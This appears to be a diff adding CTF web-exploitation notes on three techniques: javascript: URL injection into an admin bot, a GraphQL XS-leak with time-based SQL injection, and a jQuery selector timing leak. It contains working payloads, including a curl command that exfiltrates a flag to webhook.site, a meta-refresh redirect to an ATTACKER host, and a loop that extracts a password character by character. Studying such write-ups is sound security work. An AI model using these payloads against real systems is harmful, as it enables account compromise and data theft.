**Pattern (Mirror Temple):** Admin bot navigates to user-supplied URL, validates with `new URL()` which only checks syntax — not protocol scheme. `javascript:` URLs pass validation and execute arbitrary JS in the bot's authenticated context.
|
|
395
|
+
|
|
396
|
+
**Vulnerable validation:**
|
|
397
|
+
```javascript
|
|
398
|
+
try {
|
|
399
|
+
new URL(targetUrl) // Accepts javascript:, data:, file:, etc.
|
|
400
|
+
} catch {
|
|
401
|
+
process.exit(1)
|
|
402
|
+
}
|
|
403
|
+
await page.goto(targetUrl, { waitUntil: "domcontentloaded" })
|
|
404
|
+
```
|
|
405
|
+
|
|
406
|
+
**Exploit:**
|
|
407
|
+
```bash
|
|
408
|
+
# 1. Create authenticated session (bot requires valid cookie)
|
|
409
|
+
curl -i -X POST 'https://target/postcard-from-nyc' \
|
|
410
|
+
--data-urlencode 'name=test' \
|
|
411
|
+
--data-urlencode 'flag=dice{test}' \
|
|
412
|
+
--data-urlencode 'portrait='
|
|
413
|
+
# Extract save=... cookie from Set-Cookie header
|
|
414
|
+
|
|
415
|
+
# 2. Submit javascript: URL to report endpoint
|
|
416
|
+
curl -X POST 'https://target/report' \
|
|
417
|
+
-H 'Cookie: save=YOUR_COOKIE' \
|
|
418
|
+
--data-urlencode "url=javascript:fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/ID/?flag='+encodeURIComponent(f))"
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
**Why CSP/SRI don't help (B-Side variant):** The B-Side adds inlined CSS, SRI integrity hashes on scripts, and strict CSP. None of these matter because `javascript:` URLs execute in a **navigation context** — the bot navigates to the JS URL directly, not injecting into an existing page. The CSP of the target page is irrelevant since the JS runs before any page loads.
|
|
422
|
+
|
|
423
|
+
**Fix:**
|
|
424
|
+
```javascript
|
|
425
|
+
const u = new URL(targetUrl)
|
|
426
|
+
if (!['http:', 'https:'].includes(u.protocol)) {
|
|
427
|
+
process.exit(1)
|
|
428
|
+
}
|
|
429
|
+
```
|
|
430
|
+
|
|
431
|
+
**Key insight:** `new URL()` is a **syntax** validator, not a **security** validator. It accepts `javascript:`, `data:`, `file:`, `blob:`, and other dangerous schemes. Any admin bot or SSRF handler using `new URL()` alone for validation is vulnerable. Always allowlist protocols explicitly.
|
|
432
|
+
|
|
433
|
+
---
|
|
434
|
+
|
|
435
|
+
## XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)
|
|
436
|
+
|
|
437
|
+
**Pattern:** Admin bot visits attacker page → JavaScript makes cross-origin requests to `localhost` GraphQL endpoint → measures time-based SQLi via image load timing → exfiltrates data character by character.
|
|
438
|
+
|
|
439
|
+
### Why it works
|
|
440
|
+
|
|
441
|
+
1. **GraphQL GET CSRF:** Many GraphQL implementations accept GET requests (not just POST+JSON). GET requests with images bypass CORS preflight — no `OPTIONS` check needed.
|
|
442
|
+
2. **Bot runs on localhost:** The admin bot's browser can reach `localhost:1337/graphql` which is restricted from external access.
|
|
443
|
+
3. **Image error timing:** `new Image().src = url` fires `onerror` after the server responds. If SQL `SLEEP(1)` executes, the response is slow → timing difference reveals whether a character matches.
|
|
444
|
+
|
|
445
|
+
### Step 1 — Redirect bot via meta refresh (CSP bypass)
|
|
446
|
+
|
|
447
|
+
When CSP blocks inline scripts, use HTML injection with `<meta>` redirect:
|
|
448
|
+
```bash
|
|
449
|
+
curl -b cookies.txt "http://TARGET/api/chat/send" \
|
|
450
|
+
-X POST -H "Content-Type: application/json" \
|
|
451
|
+
-d '{"message": "<meta http-equiv=\"refresh\" content=\"0;url=https://ATTACKER/exploit.html\" />"}'
|
|
452
|
+
```
|
|
453
|
+
|
|
454
|
+
The bot navigates to the attacker page, where JavaScript executes freely (different origin, no CSP restriction).
|
|
455
|
+
|
|
456
|
+
### Step 2 — Timing oracle via image loads
|
|
457
|
+
|
|
458
|
+
```javascript
|
|
459
|
+
const imageLoadTime = (src) => {
|
|
460
|
+
return new Promise((resolve) => {
|
|
461
|
+
let start = performance.now();
|
|
462
|
+
const img = new Image();
|
|
463
|
+
img.onload = () => resolve(0);
|
|
464
|
+
img.onerror = () => resolve(performance.now() - start);
|
|
465
|
+
img.src = src;
|
|
466
|
+
});
|
|
467
|
+
};
|
|
468
|
+
|
|
469
|
+
const xsLeaks = async (query) => {
|
|
470
|
+
let imgURL = 'http://127.0.0.1:1337/graphql?query=' +
|
|
471
|
+
encodeURIComponent(query);
|
|
472
|
+
let delay = await imageLoadTime(imgURL);
|
|
473
|
+
return delay >= 1000; // SLEEP(1) threshold
|
|
474
|
+
};
|
|
475
|
+
```
|
|
476
|
+
|
|
477
|
+
### Step 3 — Character-by-character extraction
|
|
478
|
+
|
|
479
|
+
```javascript
|
|
480
|
+
let sqlTemp = `query {
|
|
481
|
+
RansomChat(enc_id: "123' and __LEFT__ = __RIGHT__)-- -")
|
|
482
|
+
{id, enc_id, message, created_at} }`;
|
|
483
|
+
|
|
484
|
+
let readQueryTemp = `(select sleep(1) from dual where
|
|
485
|
+
BINARY(SUBSTRING((select password from db.users
|
|
486
|
+
where username = 'target'),__POS__,1))`;
|
|
487
|
+
|
|
488
|
+
let flag = '';
|
|
489
|
+
for (let pos = 1; ; pos++) {
|
|
490
|
+
for (let c of charset) {
|
|
491
|
+
let readQuery = readQueryTemp.replace('__POS__', pos);
|
|
492
|
+
let sql = sqlTemp.replace('__LEFT__', readQuery)
|
|
493
|
+
.replace('__RIGHT__', `'${c}'`);
|
|
494
|
+
if (await xsLeaks(sql)) {
|
|
495
|
+
flag += c;
|
|
496
|
+
new Image().src = exfilURL + '?d=' + encodeURIComponent(flag);
|
|
497
|
+
break;
|
|
498
|
+
}
|
|
499
|
+
}
|
|
500
|
+
}
|
|
501
|
+
```
|
|
502
|
+
|
|
503
|
+
### Step 4 — Host exploit and tunnel
|
|
504
|
+
|
|
505
|
+
```bash
|
|
506
|
+
# Cloudflare Tunnel (recommended — no interstitial pages unlike ngrok)
|
|
507
|
+
cloudflared tunnel --url http://localhost:8888
|
|
508
|
+
python3 -m http.server 8888
|
|
509
|
+
```
|
|
510
|
+
|
|
511
|
+
**Key insight:** GraphQL GET requests bypass CORS preflight entirely — `new Image().src` triggers a simple GET that doesn't need `OPTIONS`. Combined with timing-based SQLi (`SLEEP()`), image `onerror` timing becomes a boolean oracle. The bot's localhost access turns a localhost-only SQLi into a remotely exploitable vulnerability.
|
|
512
|
+
|
|
513
|
+
**Detection:** Chat/message features with HTML injection + admin bot + GraphQL endpoint with SQL injection + localhost-only restrictions.
|
|
514
|
+
|
|
515
|
+
---
|
|
516
|
+
|
|
517
|
+
## jQuery `$(location.hash)` CSS Selector Timing Leak (hxp 2018)
|
|
518
|
+
|
|
519
|
+
**Pattern:** Target page calls `$(location.hash).addClass(...)`. Passing a URL fragment that parses as a CSS selector causes jQuery to invoke Sizzle, which walks the DOM matching the selector. Stacking deeply nested `:has()` pseudo-classes blows up selector evaluation time predictably (~2 s) only when the selector *matches*, creating a Boolean timing oracle on any attribute the bot's DOM exposes (for example `body[data-user-id^='1']`).
|
|
520
|
+
|
|
521
|
+
```text
|
|
522
|
+
http://127.0.0.1/?id=...#*:has(*:has(*:has(*:has(*:has(body[data-user-id^='1'])))))
|
|
523
|
+
```
|
|
524
|
+
|
|
525
|
+
Exfiltrate by firing two `new Image().src` requests to attacker-controlled endpoints (`/firstping`, `/secondping`) around the `addClass` call and measuring the delta: ~20 ms = mismatch, ~2 s = match.
|
|
526
|
+
|
|
527
|
+
**Key insight:** jQuery's `$` with a string argument treats anything beginning with `<` as HTML and everything else as a selector. Any sink that lets an attacker put arbitrary text into `$()` becomes both an XSS and a selector-timing oracle.
|
|
528
|
+
|
|
529
|
+
**References:** hxp CTF 2018 — µblog, writeup 12554
|